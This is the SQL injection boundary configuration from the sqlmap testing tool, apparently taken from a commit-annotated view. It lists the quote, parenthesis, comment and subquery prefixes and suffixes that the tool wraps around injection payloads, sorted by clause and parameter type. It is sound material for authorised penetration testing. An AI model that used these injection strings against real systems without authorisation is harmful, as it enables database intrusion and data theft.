2015-02-15 16:31:35 +00:00
<?xml version="1.0" encoding="UTF-8"?>
<!--
Tag: <boundary>
How to prepend and append to the test ' <payload><comment> ' string.
Sub - tag: <level>
From which level check for this test.
Valid values:
1: Always (<100 requests)
2: Try a bit harder (100 - 200 requests)
3: Good number of requests (200 - 500 requests)
4: Extensive test (500 - 1000 requests)
5: You have plenty of time (>1000 requests)
Sub - tag: <clause>
In which clause the payload can work.
NOTE: for instance, there are some payload that do not have to be
tested as soon as it has been identified whether or not the
injection is within a WHERE clause condition.
Valid values:
0: Always
1: WHERE / HAVING
2: GROUP BY
3: ORDER BY
4: LIMIT
5: OFFSET
6: TOP
7: Table name
8: Column name
2016-04-08 13:19:42 +02:00
9: Pre - WHERE (non - query)
2015-02-15 16:31:35 +00:00
A comma separated list of these values is also possible.
Sub - tag: <where>
Where to add our '<prefix> <payload><comment> <suffix>' string.
Valid values:
1: When the value of <test>'s <where> is 1.
2: When the value of <test>'s <where> is 2.
3: When the value of <test>'s <where> is 3.
A comma separated list of these values is also possible.
Sub - tag: <ptype>
What is the parameter value type.
Valid values:
1: Unescaped numeric
2: Single quoted string
3: LIKE single quoted string
4: Double quoted string
5: LIKE double quoted string
2018-09-05 23:29:52 +02:00
6: Identifier (e.g. column name)
2015-02-15 16:31:35 +00:00
Sub - tag: <prefix>
A string to prepend to the payload.
Sub - tag: <suffix>
A string to append to the payload.
Formats:
<boundary>
<level></level>
<clause></clause>
<where></where>
<ptype></ptype>
<prefix></prefix>
<suffix></suffix>
</boundary>
-->
<root >
<!-- Generic boundaries -->
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )</prefix>
2016-04-08 11:37:38 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 3</level>
<clause > 1,2,3</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > "</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<!-- End of generic boundaries -->
<!-- WHERE/HAVING clause boundaries -->
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )</prefix>
<suffix > AND ([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > ))</prefix>
<suffix > AND (([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )))</prefix>
<suffix > AND ((([RANDNUM]=[RANDNUM]</suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 0</clause>
<where > 1,2,3</where>
<ptype > 1</ptype>
<prefix > </prefix>
<suffix > </suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')</prefix>
<suffix > AND ('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '))</prefix>
<suffix > AND (('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')))</prefix>
<suffix > AND ((('[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '</prefix>
<suffix > AND '[RANDSTR]'='[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > ')</prefix>
<suffix > AND ('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > '))</prefix>
<suffix > AND (('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > ')))</prefix>
<suffix > AND ((('[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
2020-06-05 17:32:41 +02:00
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > %'</prefix>
<suffix > AND '[RANDSTR]%'='[RANDSTR]</suffix>
</boundary>
2015-02-15 16:31:35 +00:00
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 3</ptype>
<prefix > '</prefix>
<suffix > AND '[RANDSTR]' LIKE '[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > ")</prefix>
<suffix > AND ("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > "))</prefix>
<suffix > AND (("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > ")))</prefix>
<suffix > AND ((("[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 2</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > "</prefix>
<suffix > AND "[RANDSTR]"="[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > ")</prefix>
<suffix > AND ("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > "))</prefix>
<suffix > AND (("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > ")))</prefix>
<suffix > AND ((("[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 5</ptype>
<prefix > "</prefix>
<suffix > AND "[RANDSTR]" LIKE "[RANDSTR]</suffix>
</boundary>
<boundary >
<level > 1</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > </prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
2015-03-19 12:07:26 +00:00
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > </prefix>
<suffix > # [RANDSTR]</suffix>
</boundary>
2018-08-09 16:21:35 +02:00
<!-- e.g. admin' AND [INFERENCE] OR 'foo'='bar' AND password=$password -->
<boundary >
<level > 3</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > '</prefix>
<suffix > OR '[RANDSTR1]'='[RANDSTR2]</suffix>
</boundary>
2015-02-15 16:31:35 +00:00
<!-- End of WHERE/HAVING clause boundaries -->
<!-- Pre - WHERE generic boundaries (e.g. "UPDATE table SET '$_REQUEST["name"]' WHERE id=1" or "INSERT INTO table VALUES('$_REQUEST["value"]') WHERE id=1)" -->
<boundary >
<level > 5</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ') WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ") WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > ) WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ' WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > " WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
2016-04-08 13:19:42 +02:00
<clause > 9</clause>
2015-02-15 16:31:35 +00:00
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
2016-04-08 13:19:42 +02:00
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
2018-10-11 23:59:09 +02:00
<prefix > '||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 13:19:42 +02:00
<suffix > )||'</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
2018-10-11 23:59:09 +02:00
<prefix > '||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 13:19:42 +02:00
<suffix > )||'</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
<prefix > '+(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )+'</suffix>
</boundary>
2018-09-14 10:30:58 +02:00
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
<prefix > ||(SELECT '[RANDSTR]' FROM DUAL WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )||</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
<prefix > ||(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )||</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 1</ptype>
<prefix > +(SELECT [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )+</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 9</clause>
<where > 1</where>
<ptype > 2</ptype>
<prefix > +(SELECT '[RANDSTR]' WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )+</suffix>
</boundary>
2015-02-15 16:31:35 +00:00
<!-- End of pre - WHERE generic boundaries -->
2015-02-19 16:18:16 +00:00
<!-- Pre - WHERE derived table boundaries - e.g. "SELECT * FROM (SELECT column FROM table WHERE column LIKE '%$_REQUEST["name"]%') AS t1" -->
2015-02-15 16:31:35 +00:00
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ')) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ")) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > )) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 2</ptype>
<prefix > ') AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 4</ptype>
<prefix > ") AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1,2</where>
<ptype > 1</ptype>
<prefix > ) AS [RANDSTR] WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2015-02-15 16:31:35 +00:00
</boundary>
2016-03-26 09:39:28 +01:00
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1</where>
<ptype > 1</ptype>
<prefix > ` WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2016-03-26 09:39:28 +01:00
</boundary>
<boundary >
<level > 5</level>
<clause > 1</clause>
<where > 1</where>
<ptype > 1</ptype>
<prefix > `) WHERE [RANDNUM]=[RANDNUM]</prefix>
2016-04-08 11:28:17 +02:00
<suffix > [GENERIC_SQL_COMMENT]</suffix>
2016-03-26 09:39:28 +01:00
</boundary>
2015-02-15 16:31:35 +00:00
<!-- End of pre - WHERE derived table boundaries -->
2018-09-05 00:16:35 +02:00
<!-- Escaped column name (e.g. SELECT `...` FROM table) boundaries -->
<boundary >
<level > 4</level>
2018-09-05 23:29:52 +02:00
<clause > 8</clause>
2018-09-05 00:16:35 +02:00
<where > 1</where>
2018-09-05 23:29:52 +02:00
<ptype > 6</ptype>
<prefix > `=`[ORIGINAL]`</prefix>
<suffix > AND `[ORIGINAL]`=`[ORIGINAL]</suffix>
2018-09-05 00:16:35 +02:00
</boundary>
2018-09-05 00:56:39 +02:00
<boundary >
<level > 5</level>
2018-09-05 23:29:52 +02:00
<clause > 8</clause>
2018-09-05 00:56:39 +02:00
<where > 1</where>
2018-09-05 23:29:52 +02:00
<ptype > 6</ptype>
<prefix > "="[ORIGINAL]"</prefix>
<suffix > AND "[ORIGINAL]"="[ORIGINAL]</suffix>
</boundary>
<boundary >
<level > 5</level>
<clause > 8</clause>
<where > 1</where>
<ptype > 6</ptype>
2018-09-06 13:59:07 +02:00
<prefix > ]-(SELECT 0 WHERE [RANDNUM]=[RANDNUM]</prefix>
<suffix > )|[[ORIGINAL]</suffix>
2018-09-05 00:56:39 +02:00
</boundary>
2018-09-05 00:16:35 +02:00
<!-- End of escaped column name boundaries -->
2015-02-15 16:31:35 +00:00
<!-- AGAINST boolean full - text search boundaries (http://dev.mysql.com/doc/refman/5.5/en/fulltext - boolean.html) -->
<boundary >
<level > 4</level>
<clause > 1</clause>
<where > 1</where>
<ptype > 2</ptype>
<prefix > ' IN BOOLEAN MODE)</prefix>
<suffix > #</suffix>
</boundary>
<!-- End of AGAINST boolean full - text search boundaries -->
</root>